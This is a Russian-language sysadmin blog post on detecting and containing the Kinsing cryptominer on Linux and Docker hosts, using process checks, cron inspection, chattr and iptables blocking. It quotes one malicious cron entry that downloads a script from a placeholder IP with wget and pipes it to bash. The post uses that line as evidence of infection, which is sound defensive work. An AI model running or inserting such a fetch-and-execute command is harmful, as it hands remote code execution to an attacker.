• %user%
logotype
SysOps
  • Главная
  • Новости
  • О проекте
  • Контакты

  • RHEL
  • Ubuntu
  • TCP/IP
  • DNS
  • Containers
  • Cloud
  • Nginx
  • LAMP Stack
  • LEMP Stack
  • SQL
  • Zabbix
  • Netfilter

Боремся с майнером Kinsing на зараженных серверах Linux / Docker


Kinsing — вредоносное ПО на основе Golang, работает как агент. Основная цель данной малвари это добыча криптовалюты на взломанном сервере. Оно распространяется путем использования уязвимости в ошибке конфигурации сервисов, которые доступны извне.

Малварь может добавлять задания в запланировщик задач cron, чтобы иметь возможность переподключиться, например после перезагрузки сервера.

Как определить, что ваш сервер используется для майнинга малварью Kinsing?

Определите процессы, которые используют ресурсы процессора с помощью диспечера задач:
top

или

htop

Вы увидете, например такие процессы: kdevtmpfsi, kinsing или dbused, которые используют все ресурсы процессора.

Убить процессы отправкой сигнала KILL вы не можете, так как со временем они запустятся снова.

Можно попытаться найти задания в запланировщике задач пользователей:
ls /var/spool/cron/

Например, у пользователя confluence обнаружена задача, позволяющая скачивать скрипт с удаленного узла с помощью wget:
* * * * * wget -q -O - http://1.2.3.4/cf.sh | bash > /dev/null 2>&1

Чтобы запретить пользователю использовать запланировщик, мы можем отключить службу crond или добавить атрибут immutable для файла. (immutable указывает, что файл защищен от изменений: не может быть удален или переименован, никакая ссылка (жесткая) не может быть создана на этот файл, никакие данные не могут быть записаны в файл.)
systemctl stop crond

или

chattr +i /var/spool/cron/confluence

Также стоит проверить файлы с переменными пользователя на наличие лишних скриптов и по возможности удалить их и добавить атрибут immutable:
cat /home/confluence/.bash_profile
chattr +i /home/confluence/.bash_profile


Ещё одно решение это заблокировать исходящий трафик, например, если малварь использует контейнеры Docker.
В контейнерах сложнее найти процесс малвари, но мы можем определить куда обращается контейнер с помощью утилиты iptstate на хосте Docker'a.

Поиск ID контейнера:
docker ps

Поиск IP контейнера:
docker inspect CONTAINER_ID | grep -i ip

Смотрим соединения с IP-адреса контейнера:
iptstate -s CONTAINER_IP

Блокируем обращения контейнера по протоколу HTTP:
iptables -A DOCKER-USER -s 172.18.0.7/32 -p tcp -m tcp --dport 80 -j DROP


Все вышеперечисленное это временное решение, чтобы ограничить работу майнера. Своевременно обновляйте ПО и уделяйте время вопросам информационной безопасности.

  • Комментарии
  • О статье
  • Похожие новости
У данной публикации нет комментариев.

sobir

Автор

3-09-2021, 16:36

Дата пуликации

Containers

Категория
  • Комментариев: 0
  • Просмотров: 333
RHEL / Containers
Настройка среды контейнеризации приложений на Docker / Podman в CentOS 8 / RHEL
RHEL / Containers
Выставляем контейнеры наружу в CentOS 8 / RHEL 8
Monitoring
Ежедневный бэкап файлов сайта с уведомлением в Telegram
Containers / LEMP Stack
Разворачиваем LEMP-стэк на контейнерах Docker
TCP/IP
Дамп трафика с использованием ETW, Wireshark и tcpdump
Информация

Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации.

Комментарии
Принудительное обновление сертификата:

certbot certonly --force-renew -d newsite.com
17 октября 2021 11:40

sobir

Получаем SSL сертификат с помощью плагина nginx:

certbot certonly --nginx -d newsite.com -d www.newsite.com
7 августа 2021 15:35

sobir

Можно, но я решил описать процесс копирования ключей более подробно.
3 июля 2021 14:19

sobir

Или можно просто командой ssh-copy-id [email protected]_host добавить публичный ключ на удалённый сервер.
30 июня 2021 15:26

dsharipov

Какой дистрибутив Linux вы часто используете?
Реклама
1 посетитель на сайте. Из них:
Гости1
© 2020 SysOps Яндекс.Метрика

Авторизация

Регистрация Забыли пароль?